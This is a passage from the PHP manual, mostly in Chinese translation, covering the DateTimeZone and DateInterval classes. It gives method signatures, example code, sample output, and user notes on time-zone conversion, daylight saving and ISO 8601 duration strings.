public getTransitions(int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false
public static listAbbreviations(): array
public static listIdentifiers(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array
}

预定义常量

DateTimeZone::AFRICA

非洲时区。

DateTimeZone::AMERICA

美洲时区。

DateTimeZone::ANTARCTICA

南极洲时区。

DateTimeZone::ARCTIC

北极时区。

DateTimeZone::ASIA

亚洲时区。

DateTimeZone::ATLANTIC

大西洋时区。

DateTimeZone::AUSTRALIA

澳洲时区。

DateTimeZone::EUROPE

欧洲时区。

DateTimeZone::INDIAN

印度洋（Indian）时区。

DateTimeZone::PACIFIC

太平洋时区。

DateTimeZone::UTC

UTC 时区。

DateTimeZone::ALL

所有时区。

DateTimeZone::ALL_WITH_BC

所有时区，包含向后兼容。

DateTimeZone::PER_COUNTRY

每个国家的时区。

Table of Contents

  • DateTimeZone::__construct — 创建新的DateTimeZone对象
  • DateTimeZone::getLocation — 返回与时区相关的定位信息
  • DateTimeZone::getName — 返回时区名称
  • DateTimeZone::getOffset — 返回相对于 GMT 的时差
  • DateTimeZone::getTransitions — Returns all transitions for the timezone
  • DateTimeZone::listAbbreviations — 返回一个包含 dst (夏令时)，时差和时区信息的关联数组。
  • DateTimeZone::listIdentifiers — 返回包含了所有时区标识符的数字索引数组

User Contributed Notes

Jarmo Troska 30-Aug-2023 09:15
Example of converting between timezones using the DateTime and DateTimeZone classes.

Note that PHP will also take care of calculating relevant daylight savings!

<?php

$utc_timezone = new DateTimeZone("UTC");

$tallinn_timezone = new DateTimeZone("Europe/Tallinn");

// Create a new DateTime object in the UTC format

$datetime = new DateTime("2023-01-01 11:00:00", $utc_timezone);

// Convert the DateTime object to the timezone of Tallinn

$datetime->setTimezone($tallinn_timezone);

// Display the result in the YYYY-MM-DD HH:MM:SS format

echo $datetime->format('Y-m-d H:i:s');

// Returns: 2023-01-01 13:00:00

?>


创建新的DateTimeZone对象

  • ? DateTimeZone
  • DateTimeZone::getLocation ?
  • PHP Manual
  • DateTimeZone
  • 创建新的DateTimeZone对象

DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::__construct -- timezone_open — 创建新的DateTimeZone对象

说明

面向对象风格

public DateTimeZone::__construct(string $timezone)

过程化风格

timezone_open(string $timezone): DateTimeZone|false

创建新的 DateTimeZone 对象。

DateTimeZone 对象提供了对三种不同类型的时区规则访问。UTC 时差（类型 1）、时区缩写（类型 2）、IANA 时区数据库中公布的时区标识符（类型 3）。

DateTimeZone 对象可以附加到 DateTime 和 DateTimeImmutable 对象上，以便能够在本地时区呈现这些对象所封装的时区。

参数

timezone

所支持的时区名之一，时差（+0200）或时区缩写（BSD）。

返回值

成功时返回 DateTimeZone 对象。 过程化风格在失败时返回 false。

错误／异常

如果提供的时区不能识别为有效的时区，此方法将抛出 DateInvalidTimeZoneException 异常。在 PHP 8.3 之前，是 Exception。

更新日志

版本 | 说明
8.3.0 | 无效值现在返回 DateInvalidTimeZoneException 而不是生成 Exception。

示例

Example #1 创建 DateTimeZone 并附加到 DateTimeImmutable

<?php
$d = new DateTimeImmutable("2022-06-02 15:44:48 UTC");

$timezones = [ 'Europe/London', 'GMT+04:45', '-06:00', 'CEST' ];

foreach ($timezones as $tz) {
$tzo = new DateTimeZone($tz);

$local = $d->setTimezone($tzo);
echo $local->format(DateTimeInterface::RFC2822 . ' — e'), "\n";
}
?>

以上示例会输出：

Thu, 02 Jun 2022 16:44:48 +0100 — Europe/London
Thu, 02 Jun 2022 20:29:48 +0445 — +04:45
Thu, 02 Jun 2022 09:44:48 -0600 — -06:00
Thu, 02 Jun 2022 17:44:48 +0200 — CEST

Example #2 实例化 DateTimeZone 时捕捉错误

<?php
// 通过捕获异常来处理错误
$timezones = array('Europe/London', 'Mars/Phobos', 'Jupiter/Europa');

foreach ($timezones as $tz) {
try {
$mars = new DateTimeZone($tz);
} catch(Exception $e) {
echo $e->getMessage() . '<br />';
}
}
?>

以上示例会输出：

DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Mars/Phobos)
DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Jupiter/Europa)

User Contributed Notes

There are no user contributed notes for this page.


返回与时区相关的定位信息

  • ? DateTimeZone::__construct
  • DateTimeZone::getName ?
  • PHP Manual
  • DateTimeZone
  • 返回与时区相关的定位信息

DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeZone::getLocation -- timezone_location_get — 返回与时区相关的定位信息

说明

面向对象风格

public DateTimeZone::getLocation(): array|false

过程化风格

timezone_location_get(DateTimeZone $object): array|false

返回时区的位置信息，包含国家代码，经纬度和注释。

参数

object

仅过程化风格：由 timezone_open() 返回的 DateTimeZone 对象。

返回值

包含时区的位置信息的数组 或者在失败时返回 false。

示例

Example #1 DateTimeZone::getLocation() 函数的范例：

<?php
$tz = new DateTimeZone("Europe/Prague");
print_r($tz->getLocation());
print_r(timezone_location_get($tz));
?>

以上示例会输出：

Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)
Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)

参见

  • DateTimeZone::listIdentifiers() - 返回包含了所有时区标识符的数字索引数组，以获得所有支持的时区标识符的完整或部分列表

User Contributed Notes

There are no user contributed notes for this page.


返回时区名称

  • ? DateTimeZone::getLocation
  • DateTimeZone::getOffset ?
  • PHP Manual
  • DateTimeZone
  • 返回时区名称

DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getName -- timezone_name_get — 返回时区名称

说明

面向对象风格

public DateTimeZone::getName(): string

过程化风格

timezone_name_get(DateTimeZone $object): string

返回时区名称。

参数

object

要获得名称的 DateTimeZone。

返回值

根据区域类型、UTC 时差（类型 1）、时区缩写（类型 2）和 IANA 时区数据库发布的时区标识符（类型 3），描述符字符串使用相同时差和/或规则创建新的 DateTimeZone。例如：02:00、CEST 或者 时区列表中的其中一个时区名称。

User Contributed Notes

There are no user contributed notes for this page.


返回相对于 GMT 的时差

  • ? DateTimeZone::getName
  • DateTimeZone::getTransitions ?
  • PHP Manual
  • DateTimeZone
  • 返回相对于 GMT 的时差

DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getOffset -- timezone_offset_get — 返回相对于 GMT 的时差

说明

面向对象风格

public DateTimeZone::getOffset(DateTimeInterface $datetime): int

过程化风格

timezone_offset_get(DateTimeZone $object, DateTimeInterface $datetime): int

该函数返回参数 datetime 中指定的日期/时间相对于 GMT 的时差。GMT 时差是通过 DateTimeZone 对象的时区信息计算出来的。

参数

object

仅过程化风格：由 timezone_open() 返回的 DateTimeZone 对象。

datetime

用来计算时差的 DateTime，其包含日期/时间。

返回值

成功时返回精确到秒的时差， 或者在失败时返回 false。

示例

Example #1 DateTimeZone::getOffset() 例子

<?php
// 创建两个时区对象，分别是台北（台湾）和东京（日本）
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// 创建两个包含相同 Unix 时间戳的 DateTime 对象。区别是对应的时区不同。
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// 计算包含日期/时间的 $dateTimeTaipei 对象与时区规则定义为东京的 $dateTimeZoneJapan 对象的 GMT 时差
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// 应该展示 int(32400)（Sat Sep 8 01:00:00 1951 JST 之后的日期）。
var_dump($timeOffset);
?>

User Contributed Notes

Anonymous 25-Aug-2022 08:08
int offset does not cover fractional offsets of "rogue" locations such as Nepal etc.
Daniel Vidal 17-Aug-2022 08:13
Note that the DateTime parameter has no effect in the result returned by DateTimeZone::getOffset($DateTime), unless, it refers to a DateTime where there is daylight savings in the referenced DateTimeZone.

Ex.:
<?php
$timezone_brl    = new DateTimeZone('America/Sao_Paulo');
$timezone_eng    = new DateTimeZone('Europe/London');
$timezone_aus    = new DateTimeZone('Australia/Brisbane');

$dateTimes = [
      new DateTime()
    , new DateTime('now', $timezone_eng)
    , new DateTime('now', $timezone_aus)
    , new DateTime('now', $timezone_brl)
    , new DateTime('2000-06-10', $timezone_brl)
    , new DateTime('2000-12-10', $timezone_brl)
    , new DateTime('2020-12-10', $timezone_brl)
];

foreach($dateTimes as $dateTime)
{
  echo "\n" . $timezone_brl->getOffset($dateTime);
}
/**
* -10800
* -10800
* -10800
* -10800
* -10800  // No daylight savings in June/2000
* -  7200  // Brazil had daylight savings until 2020
* -10800  // No more daylight savings, so it returns -10800
*/

?>


Returns all transitions for the timezone

  • ? DateTimeZone::getOffset
  • DateTimeZone::listAbbreviations ?
  • PHP Manual
  • DateTimeZone
  • Returns all transitions for the timezone

DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getTransitions -- timezone_transitions_get — Returns all transitions for the timezone

说明

面向对象风格

public DateTimeZone::getTransitions(int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false

过程化风格

timezone_transitions_get(DateTimeZone $object, int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false

参数

object

仅过程化风格：由 timezone_open() 返回的 DateTimeZone 对象。

timestampBegin

Begin timestamp.

timestampEnd

End timestamp.

返回值

Returns a numerically indexed array of transition arrays on success, 或者在失败时返回 false. DateTimeZone objects wrapping type 1 (UTC offsets) and type 2 (abbreviations) do not contain any transitions, and calling this method on them will return false.

If timestampBegin is given, the first entry in the returned array will contain a transition element at the time of timestampBegin.

Transition Array Structure
Key | Type | Description
ts | int | Unix timestamp
time | string | DateTimeInterface::ISO8601_EXPANDED (PHP 8.2 and later), or DateTimeInterface::ISO8601 (PHP 8.1 and lower) time string
offset | int | Offset to UTC in seconds
isdst | bool | Whether daylight saving time is active
abbr | string | Timezone abbreviation

示例

Example #1 A timezone_transitions_get() example

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions();
print_r(array_slice($transitions, 0, 3));
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [ts] => -9223372036854775808
            [time] => -292277022657-01-27T08:29:52+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => -1691964000
            [time] => 1916-05-21T02:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [2] => Array
        (
            [ts] => -1680472800
            [time] => 1916-10-01T02:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

)

Example #2 A timezone_transitions_get() example with timestampBegin set

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions(time());
print_r(array_slice($transitions, 0, 3));
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [ts] => 1654184161
            [time] => 2022-06-02T15:36:01+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => 1667091600
            [time] => 2022-10-30T01:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

    [2] => Array
        (
            [ts] => 1679792400
            [time] => 2023-03-26T01:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

)

User Contributed Notes

There are no user contributed notes for this page.


返回一个包含 dst (夏令时)，时差和时区信息的关联数组。

  • ? DateTimeZone::getTransitions
  • DateTimeZone::listIdentifiers ?
  • PHP Manual
  • DateTimeZone
  • 返回一个包含 dst (夏令时)，时差和时区信息的关联数组。

DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listAbbreviations -- timezone_abbreviations_list — 返回一个包含 dst (夏令时)，时差和时区信息的关联数组。

说明

面向对象风格

public static DateTimeZone::listAbbreviations(): array

过程化风格

timezone_abbreviations_list(): array

返回简写列表，包含历史上所有使用过的简写，这可能会导致既正确又混乱的条目。也会存在冲突，比如 PST 在美国和菲律宾都在有使用。

因此函数返回的列表不适合构建为带选项的数组，以便向用户提供时区选择。

Note:

出于性能考虑，会预先编译此函数的数据。在使用较新的 » timezonedb 时不会更新。

参数

此函数没有参数。

返回值

返回时区简写数组。

示例

Example #1 timezone_abbreviations_list() 函数的范例：

<?php
$timezone_abbreviations = DateTimeZone::listAbbreviations();
print_r($timezone_abbreviations["acst"]);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Porto_Acre
        )

    [1] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Eirunepe
        )

    [2] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Rio_Branco
        )

    [3] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => Brazil/Acre
        )

)

参见

  • timezone_identifiers_list() - 别名 DateTimeZone::listIdentifiers

User Contributed Notes

There are no user contributed notes for this page.


返回包含了所有时区标识符的数字索引数组

  • ? DateTimeZone::listAbbreviations
  • DateInterval ?
  • PHP Manual
  • DateTimeZone
  • 返回包含了所有时区标识符的数字索引数组

DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listIdentifiers -- timezone_identifiers_list — 返回包含了所有时区标识符的数字索引数组

说明

面向对象风格

public static DateTimeZone::listIdentifiers(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array

过程化风格

timezone_identifiers_list(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array

参数

timezoneGroup

DateTimeZone 类中的常量之一（或组合）。

countryCode

国家代码，兼容 ISO 3166-1 的两个大写字母。

Note: 只有当 timezoneGroup 设置为 DateTimeZone::PER_COUNTRY 时,该选项才会被使用。

返回值

返回时区标识符的数组。只会返回没有过时的元素。要获取包含过时时区标识符的所有元素，使用 DateTimeZone::ALL_WITH_BC 作为 timezoneGroup 的值。

更新日志

版本 | 说明
8.0.0 | 在此版本之前，失败时返回 false。
7.1.0 | 现在，countryCode 可以为 null。

示例

Example #1 timezone_identifiers_list() 范例

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers();
for ($i=0; $i < 5; $i++) {
echo "$timezone_identifiers[$i]\n";
}
?>

以上示例的输出类似于：

Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara

Example #2 列出指定区域的标识符

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::ASIA );
for ($i=0; $i < 5; $i++) {
echo "$timezone_identifiers[$i]\n";
}
?>

以上示例的输出类似于：

Asia/Aden
Asia/Almaty
Asia/Amman
Asia/Anadyr
Asia/Aqtau

Example #3 列出多个区域的标识符

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::ASIA | DateTimeZone::PACIFIC );
echo join( ', ', $timezone_identifiers );
?>

以上示例的输出类似于：

Asia/Aden, Asia/Almaty, Asia/Amman, Asia/Anadyr, Asia/Aqtau, Asia/Aqtobe,
Asia/Ashgabat, Asia/Atyrau, Asia/Baghdad, Asia/Bahrain, Asia/Baku,
Asia/Bangkok, Asia/Barnaul, Asia/Beirut, Asia/Bishkek, Asia/Brunei,
Asia/Chita, Asia/Choibalsan, Asia/Colombo, Asia/Damascus, Asia/Dhaka,
Asia/Dili, Asia/Dubai, Asia/Dushanbe, Asia/Famagusta, Asia/Gaza, Asia/Hebron,
Asia/Ho_Chi_Minh, Asia/Hong_Kong, Asia/Hovd, Asia/Irkutsk, Asia/Jakarta,
Asia/Jayapura, Asia/Jerusalem, Asia/Kabul, Asia/Kamchatka, Asia/Karachi,
Asia/Kathmandu, Asia/Khandyga, Asia/Kolkata, Asia/Krasnoyarsk,
Asia/Kuala_Lumpur, Asia/Kuching, Asia/Kuwait, Asia/Macau, Asia/Magadan,
Asia/Makassar, Asia/Manila, Asia/Muscat, Asia/Nicosia, Asia/Novokuznetsk,
Asia/Novosibirsk, Asia/Omsk, Asia/Oral, Asia/Phnom_Penh, Asia/Pontianak,
Asia/Pyongyang, Asia/Qatar, Asia/Qostanay, Asia/Qyzylorda, Asia/Riyadh,
Asia/Sakhalin, Asia/Samarkand, Asia/Seoul, Asia/Shanghai, Asia/Singapore,
Asia/Srednekolymsk, Asia/Taipei, Asia/Tashkent, Asia/Tbilisi, Asia/Tehran,
Asia/Thimphu, Asia/Tokyo, Asia/Tomsk, Asia/Ulaanbaatar, Asia/Urumqi,
Asia/Ust-Nera, Asia/Vientiane, Asia/Vladivostok, Asia/Yakutsk, Asia/Yangon,
Asia/Yekaterinburg, Asia/Yerevan, Pacific/Apia, Pacific/Auckland,
Pacific/Bougainville, Pacific/Chatham, Pacific/Chuuk, Pacific/Easter,
Pacific/Efate, Pacific/Fakaofo, Pacific/Fiji, Pacific/Funafuti,
Pacific/Galapagos, Pacific/Gambier, Pacific/Guadalcanal, Pacific/Guam,
Pacific/Honolulu, Pacific/Kanton, Pacific/Kiritimati, Pacific/Kosrae,
Pacific/Kwajalein, Pacific/Majuro, Pacific/Marquesas, Pacific/Midway,
Pacific/Nauru, Pacific/Niue, Pacific/Norfolk, Pacific/Noumea,
Pacific/Pago_Pago, Pacific/Palau, Pacific/Pitcairn, Pacific/Pohnpei,
Pacific/Port_Moresby, Pacific/Rarotonga, Pacific/Saipan, Pacific/Tahiti,
Pacific/Tarawa, Pacific/Tongatapu, Pacific/Wake, Pacific/Wallis

Example #4 列出单个国家的标识符

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::PER_COUNTRY, "UA" );
foreach( $timezone_identifiers as $identifier ) {
echo "$identifier\n";
}
?>

以上示例的输出类似于：

Europe/Kyiv
Europe/Simferopol
Europe/Uzhgorod
Europe/Zaporozhye

参见

  • timezone_abbreviations_list() - 别名 DateTimeZone::listAbbreviations

User Contributed Notes

There are no user contributed notes for this page.


DateInterval 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

表示时间间隔。

时间间隔表示固定量的时间（多少年，月，天，小时等），也可以表示一个字符串格式的相对时间，当表示相对时间的时候，字符串格式是 DateTimeImmutable 和 DateTime 类的构造函数所支持的格式。

更具体的说，DateInterval 类的对象中的信息是从一个日期/时间到另一个日期/时间的指令。这个过程并不始终可逆。

创建 DateInterval 对象的常用方法是通过 DateTimeInterface::diff() 计算两个日期/时间对象之间的差异。

由于没有明确定义的方法来比较日期间隔，因此 DateInterval 实例是无法比较的。

类摘要

class DateInterval {
/* 属性 */
public int $y;
public int $m;
public int $d;
public int $h;
public int $i;
public int $s;
public float $f;
public int $invert;
public mixed $days;
public bool $from_string;
public string $date_string;
/* 方法 */
public __construct(string $duration)
public static createFromDateString(string $datetime): DateInterval|false
public format(string $format): string
}

属性

Warning

下列列出的有效属性依赖 PHP 版本，应视为 readonly。

y

多少年。

m

多少月。

d

多少天。

h

多少小时。

i

多少分钟。

s

多少秒。

f

多少微秒。

invert

如果是负的时间段，则为 1，否则为 0。请参见 DateInterval::format()。

days

如果 DateInterval 对象是由 DateTimeImmutable::diff() 或者 DateTime::diff() 函数创建的，那么它表示开始日期和结束日期之间的完整天数。否则，days 属性为 false。

from_string

如果 DateInterval 对象是通过 DateInterval::createFromDateString() 创建，则此属性值设为 true 并且 date_string 属性将填充数据。否则，此值设为 false 且为从 y 到 f、invert 和 days 属性填充数据。

date_string

字符串，用作 DateInterval::createFromDateString() 的参数。

更新日志

版本 | 说明
8.2.0 | 为使用 DateInterval::createFromDateString() 方法创建的 DateInterval 实例添加了 from_string 和 date_string 属性。
8.2.0 | 仅从 y 到 f、invert 和 days 将可见。
7.4.0 | 现在 DateInterval 无法比较；之前所有的 DateInterval 实例都认为相等。
7.1.0 | 增加 f 属性。

Table of Contents

  • DateInterval::__construct — Creates a new DateInterval object
  • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
  • DateInterval::format — Formats the interval

User Contributed Notes

cb 04-Dec-2022 04:12
If you want to reverse a date interval use array_reverse and iterator_to_array. I've found using invert to be unreliable.

<?php
$start_date = date_create("2021-01-01");
$end_date   = date_create("2021-01-05"); // If you want to include this date, add 1 day

$interval = DateInterval::createFromDateString('1 day');
$daterange = new DatePeriod($start_date, $interval ,$end_date);

function show_dates ($dr) {
    foreach($dr as $date1){
        echo $date1->format('Y-m-d').'<br>';
    }
}

show_dates ($daterange);

echo '<br>';

// reverse the array

$daterange = array_reverse(iterator_to_array($daterange));

show_dates ($daterange);

?>

Gives
 2021-01-01
 2021-01-02
 2021-01-03
 2021-01-04

 2021-01-04
 2021-01-03
 2021-01-02
 2021-01-01
nateb at gurutechnologies dot net 27-Apr-2020 07:37
Many people have commented on doing a reverse interval on a date time.  I personally find a backwards year to be a little strange to think about and instead opt to work with just intervals.  This is the easiest I have found.

<?php
$one_year = new DateInterval('P1Y');
$one_year_ago = new DateTime();
$one_year_ago->sub($one_year);
?>

Instead of:

<?php
$one_year_ago = new DateInterval( "P1Y" );
$one_year_ago->invert = 1;
$one_year_ago = new DateTime();
$one_year_ago->add($one_year);
?>


Creates a new DateInterval object

  • ? DateInterval
  • DateInterval::createFromDateString ?
  • PHP Manual
  • DateInterval
  • Creates a new DateInterval object

DateInterval::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::__construct — Creates a new DateInterval object

说明

public DateInterval::__construct(string $duration)

Creates a new DateInterval object.

参数

duration

An interval specification.

The format starts with the letter P, for period. Each duration period is represented by an integer value followed by a period designator. If the duration contains time elements, that portion of the specification is preceded by the letter T.

duration Period Designators
Period Designator | Description
Y | years
M | months
D | days
W | weeks. Converted into days. Prior to PHP 8.0.0, can not be combined with D.
H | hours
M | minutes
S | seconds

Here are some simple examples. Two days is P2D. Two seconds is PT2S. Six years and five minutes is P6YT5M.

Note:

The unit types must be entered from the largest scale unit on the left to the smallest scale unit on the right. So years before months, months before days, days before minutes, etc. Thus one year and four days must be represented as P1Y4D, not P4D1Y.

The specification can also be represented as a date time. A sample of one year and four days would be P0001-00-04T00:00:00. But the values in this format can not exceed a given period's roll-over-point (e.g. 25 hours is invalid).

These formats are based on the » ISO 8601 duration specification.

错误／异常

Throws an DateMalformedIntervalStringException when the duration cannot be parsed as an interval. Prior to PHP 8.3, this was Exception.

更新日志

版本 | 说明
8.3.0 | Now throws DateMalformedIntervalStringException instead of Exception.
8.2.0 | Only the y to f, invert, and days will be visible, including a new from_string boolean property.
8.0.0 | W can be combined with D.

示例

Example #1 Constructing and using DateInterval objects

<?php
// Create a specific date
$someDate = \DateTime::createFromFormat("Y-m-d H:i", "2022-08-25 14:18");

// Create interval
$interval = new \DateInterval("P7D");

// Add interval
$someDate->add($interval);

// Convert interval to string
echo $interval->format("%d");

以上示例会输出：

7

Example #2 DateInterval example

<?php

$interval = new DateInterval('P1W2D');
var_dump($interval);

?>

以上示例在 PHP 8.2 中的输出：

object(DateInterval)#1 (10) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(9)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["from_string"]=>
  bool(false)
}

以上示例在 PHP 8 中的输出：

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(9)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}

以上示例在 PHP 7 中的输出：

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(2)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}

参见

  • DateInterval::format() - Formats the interval
  • DateTime::add() - 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。
  • DateTime::sub() - 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。
  • DateTime::diff() - 返回两个 DateTime 之间的差值

User Contributed Notes

Anonymous 29-Mar-2021 09:07
Note that to add time you must enter P even though the period is empty.

To add 1 hour :

<?php

$plusOneHour = (new DateTime('now'))->add(new DateInterval("PT1H"));

var_dump($plusOneHour);

?>
grzeniufication 05-Apr-2020 10:51
If you'd like to persist an interval object in a DB it could be handy to implement the __toString() method. A formatted interval value can be easier to read by a human than the output of serialize. Here's an example:

<?php

namespace App;

class DateInterval extends \DateInterval
{
    public function __toString()
    {
        return $this->format('P%yY%mM%dDT%hH%iM%sS');
    }
}

$interval1 = new DateInterval('P1Y');
$interval2 = new DateInterval(strval($interval1));
assert($interval1 == $interval2);
sloanlance+php.net gmail com 05-Dec-2017 10:55
?? It's important to remember the warning about DateInterval given by "admin at torntech dot com" in an earlier comment (http://php.net/manual/en/dateinterval.construct.php#116750).  To reiterate:

Some versions of PHP (e.g., 5.6.31) have a bug that disallows fractional parts in a ISO 8601 duration string given as the argument for the DateInterval constructor.  That is, these examples will fail:

<?php
// 'P0.5Y' is valid according to ISO 8601
$interval = new DateInterval('P0.5Y');  // Throws exception
?>

<?php
// 'PT585.829S' is valid according to ISO 8601
$interval = new DateInterval('PT585.829S');  // Throws exception
?>

If this bug affects you, please go to the report for this bug in the PHP Bug Tracking System, and place a vote stating that it affects you:  https://bugs.php.net/bug.php?id=53831
Hernanibus 22-Sep-2017 08:03
It is not stated, but you cannot create directly a negative interval, this is you cannot create a "-2 days" interval as:

<?
$interval = new DateInterval("P-2D");//or
$interval = new DateInterval("-P2D");
?>

Instead you have to create first the interval and then set its 'invert' property to 1, this is:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
?>

Then you should keep in mind that this interval acts as a negative number, hence to subtract the interval from a given date you must 'add' it:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
$date       = new DateTime ("1978-01-23 17:46:00");
$date->add($interval)->format("Y-m-d H:i:s");//this is "1978-01-21 17:46:00"
?>
Ray.Paseur sometimes uses Gmail 28-Apr-2016 04:47
To recover the interval specification string:

<?php
function get_interval_spec(DateTime $alpha, DateTime $omega)
{
    $intvl = $alpha->diff($omega);

    $date = NULL;
    if ($intvl->y) $date .= $intvl->y . 'Y';
    if ($intvl->m) $date .= $intvl->m . 'M';
    if ($intvl->d) $date .= $intvl->d . 'D';

    $time = NULL;
    if ($intvl->h) $time .= $intvl->h . 'H';
    if ($intvl->i) $time .= $intvl->i . 'M';
    if ($intvl->s) $time .= $intvl->s . 'S';
    if ($time) $time = 'T' . $time;

    $text ='P' . $date . $time;
    if ($text == 'P') return 'PT0S';
    return $text;
}
lsloan-php dot net at umich dot edu 10-Mar-2016 10:05
Although PHP refers to periods of time as "intervals", ISO 8601 refers to them as "durations".  In ISO 8601, "intervals" are something else.

While ISO 8601 allows fractions for all parts of a duration (e.g., "P0.5Y"), DateInterval does not.  Use caution when calculating durations.  If the duration has a fractional part, it may be lost when storing it in a DateInterval object.
userexamplecom at mailinator dot com 05-Feb-2016 01:49
Take care, if you have a DateTime Object on the 31h of January and add Da DateInterval of one Month, then you are in March instead of February.

For Example:
---
// given the actual date is 2017-01-31
$today = new DateTime('now', $timeZoneObject);
$today->add(new DateInterval('P1M'));
echo $today->format('m');
// output: 03
---
admin at torntech dot com 22-Feb-2015 09:22
Warning - despite the $interval_spec accepting the ISO 8601 specification format, it does not accept decimal fraction values with period or comma as stated in the specification.

https://bugs.php.net/bug.php?id=53831

<?php
/* Example from ISO 8601 documentation */
$interval = new DateInterval('P0.5Y');
?>

Will result in
Fatal error: Uncaught exception 'Exception' with message 'DateInterval::__construct(): Unknown or bad format (P0.5Y)'
bkilinc at deyta dot net 20-Dec-2013 03:28
interval_spec Period Designators, has two 'M's for months and minutes.
owen at beliefs.com 11-Jul-2013 03:20
M is used to indicate both months and minutes.

As noted on the referenced wikipedia page for ISO 6801 http://en.wikipedia.org/wiki/Iso8601#Durations

To resolve ambiguity, "P1M" is a one-month duration and "PT1M" is a one-minute duration (note the time designator, T, that precedes the time value).

Using: PHP 5.3.2-1ubuntu4.19

// For 3 Months
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("P3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:26-0400
2013-10-11T11:12:26-0400

// For 3 Minutes
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("PT3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:42-0400
2013-07-11T11:15:42-0400

Insert a T after the P in the interval to add 3 minutes instead of 3 months.
buvinghausen at gmail dot com 09-Apr-2012 06:50
